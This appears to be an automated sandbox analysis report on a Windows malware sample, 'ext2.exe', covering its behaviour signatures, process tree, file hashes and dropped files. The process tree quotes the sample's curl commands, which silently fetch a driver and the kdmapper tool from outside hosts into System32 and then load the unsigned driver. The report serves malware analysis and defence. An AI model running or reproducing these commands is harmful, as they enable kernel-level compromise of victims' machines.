Analysis

  • max time kernel
    148s
  • max time network
    129s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260617-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260617-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/06/2026, 02:51

General

  • Target
    ext2.exe
  • Size 772KB
  • Sample260624-dclymshz2y
  • SHA256 5c09606cc06d3b3f2163bc0ad6fbf47de13828d57dd5e4b44ce60a6dc7e85060
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in System32 directory 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ext2.exe
    "C:\Users\Admin\AppData\Local\Temp\ext2.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5652
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c cls
      2⤵
        PID:508
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c cls
        2⤵
          PID:6136
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4780
          • C:\Windows\system32\curl.exe
            curl --silent https://files.catbox.moe/x7ic4m.sys --output C:\Windows\System32\hobo.sys
            3⤵
            • Drops file in System32 directory
            PID:5876
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe >nul 2>&1
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4984
          • C:\Windows\system32\curl.exe
            curl -L --silent https://github.com/R3L8ntLe55/map/raw/refs/heads/main/kdmapper_Release.exe --output C:\Windows\System32\kdmapper.exe
            3⤵
            • Drops file in System32 directory
            PID:4576
        • C:\Windows\System32\kdmapper.exe
          "C:\Windows\System32\kdmapper.exe" C:\Windows\System32\hobo.sys
          2⤵
          • Sets service image path in registry
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: LoadsDriver
          • Suspicious use of AdjustPrivilegeToken
          PID:2128
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c cls
          2⤵
            PID:5968
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c cls
            2⤵
              PID:3952
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c pause
              2⤵
                PID:1192

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  hobo.sys

                  • Path C:\Windows\System32\hobo.sys
                  • Size 13KB
                  • SHA256 2eacc4ae96eacd16152474e3b9e014f956e9e6020db1d6d6aca228de9a546cf1
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  kdmapper.exe

                  • Path C:\Windows\System32\kdmapper.exe
                  • Size 150KB
                  • SHA256 611b7cf5d5f9193cf7ba27260f4b7903fc0b29c8791d4e4ca2881ff14feb636d
                  • MD5 SHA1 SHA512 SSDEEP TLSH